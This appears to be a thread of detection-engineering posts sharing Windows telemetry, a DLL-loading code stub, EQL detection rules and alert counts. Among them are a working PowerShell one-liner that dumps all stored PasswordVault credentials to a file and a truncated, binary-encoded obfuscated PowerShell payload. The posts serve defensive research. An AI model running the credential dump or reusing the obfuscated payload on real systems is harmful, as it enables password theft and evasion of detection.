Samirbous

 "thread": {
          "Ext": {
            "call_stack_summary": "ntdll.dll|kernelbase.dll|kernel32.dll|acmigration.dll|appraiser.dll|ntdll.dll|kernel32.dll|ntdll.dll",
            "call_stack": [
              {
                "symbol_info": "C:\\Windows\\System32\\ntdll.dll!ZwCreateUserProcess+0x14"
              },
              {
                "symbol_info": "C:\\Windows\\System32\\KernelBase.dll!CreateProcessInternalW+0xfe3"
              },

Samirbous

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>


typedef NTSTATUS(NTAPI* pLdrLoadDll) (
	PWCHAR PathToFile,
	ULONG Flags,
	PUNICODE_STRING ModuleFileName,

Samirbous

any where event.action == "Directory Service Access" and 
 event.code == "4662" and 
 not winlog.event_data.SubjectUserSid : "S-1-5-18" and 
 winlog.event_data.AccessListDescription : "Read Property" and 
 length(winlog.event_data.Properties) >= 800

Samirbous

"Top 1000 values of rule.name","Count of records"
"Connection to WebService by a Signed Binary Proxy",342
"Managed .NET Code Execution via PowerShell",79
"Execution via a Suspicious WMI Client",57
"Credential Access via Known Utilities",40
"Regsvr32 Scriptlet Execution",39
"Suspicious Bitsadmin Activity",34
"Suspicious Windows Command Shell Execution",32
"Script Execution via Microsoft HTML Application",28
"Suspicious Execution via Windows Management Instrumentation",27

Samirbous

sequence by host.id, process.entity_id with maxspan=3s
 [process where event.type == "start" and process.name : "svchost.exe" and process.args : "appmodel"]
 [network where event.action == "connection_accepted" and
  process.name : "svchost.exe" and
  source.port >= 49152 and destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1"]

Samirbous

sequence by host.id with maxspan=1m
 [registry where registry.path : "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*"] by registry.data.strings
 [process where event.action == "start" and

  /* recently created files  */
  process.Ext.relative_file_creation_time < 500] by process.executable

Samirbous

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
(new-object Windows.Security.Credentials.PasswordVault).RetrieveAll()|%{$_.RetrievePassword();$_}>"pwds.tmp"

Samirbous

process where event.action == "start" and 

(
 (process.parent.name : "svchost.exe" and process.parent.args : "schedule") or 
  process.parent.name : "services.exe" 
 )
 
 and 
 
 (process.Ext.relative_file_creation_time < 300 or process.Ext.relative_file_name_modify_time < 300)

Samirbous

"Top 1000 values of process.executable","Top 1000 values of process.command_line","Top 1000 values of process.working_directory","Count of records"
"C:\Windows\System32\rundll32.exe","""C:\Windows\System32\rundll32.exe"" Shell32.dll,ShellExec_RunDLL ""RÊCYCLÊR\  .com"" ""Program Files (x86)""","C:\Users\user\Desktop\",6
"C:\Windows\System32\rundll32.exe","""C:\Windows\System32\rundll32.exe"" Shell32.dll,ShellExec_RunDLL ""RÊCYCLÊR\  .com"" ""Windows""","C:\Users\user\Desktop\",8
"C:\Windows\System32\rundll32.exe","""C:\Windows\System32\rundll32.exe"" Shell32.dll,ShellExec_RunDLL ""RÊCYCLÊR\  .com"" ""ProgramData""","C:\Users\user\Desktop\",6
"C:\Windows\System32\rundll32.exe","""C:\Windows\System32\rundll32.exe"" Shell32.dll,ShellExec_RunDLL ""RÊCYCLÊR\  .com"" ""Recovery""","C:\Users\user\Desktop\",7
"C:\Windows\System32\rundll32.exe","""C:\Windows\System32\rundll32.exe"" Shell32.dll,ShellExec_RunDLL ""RÊCYCLÊR\  .com"" ""Documents and Settings""","C:\Users\user\Desktop\",11
"C:\Windows\System32\rundll32.exe

Samirbous

$iWli=('011K110,01110101,01101110,011K011,011101K,01101K1,01101111,01101110,K1KK0,011101K,01K1101,01KK11,011K110,01101011,0101K11,01K01K,K1KK0,01111011,KK1101,KK1010,KK1101,KK1010,KK1K1,01011011,01KK11,01101101,011K1K,011011K,011K101,011101K,01KK10,01101K1,01101110,011K1K,01101K1,01101110,011K111,K101K0,K101K1,01011101,KK1101,KK1010,K1KK0,K1KK0,K1KK0,K1KK0,0101KK,011KK1,0111K10,011KK1,01101101,K1KK0,K101K0,01011011,011K010,01111K1,011101K,011K101,01011011,01011101,01011101,K1KK0,K1K1K,011K010,01111K1,011101K,011K101,01KK01,0111K10,0111K10,011KK1,01111K1,K101K1,KK1101,KK1010,K1KK0,KK1101,KK1010,KK1K1,0101KK,0111K10,01101111,011K011,011K101,0111K11,0111K11,K1KK0,01111011,KK1101,KK1010,KK1K1,K1KK0,K1KK0,K1KK0,K1KK0,K1K1K,011K111,01101011,011K1K,011K110,K111101,K101K0,K1K111,K101K0,01011011,01K1K1,01K1111,K101110,01KK11,01101111,01101101,0111KK,0111K10,011K101,0111K11,0111K11,01101K1,01101111,01101110,K101110,01KK11,01101111,01101101,0111KK,0111K10,011K101,0111K11,0111K11,01101K1,01101111,01101110,01K1101,0110111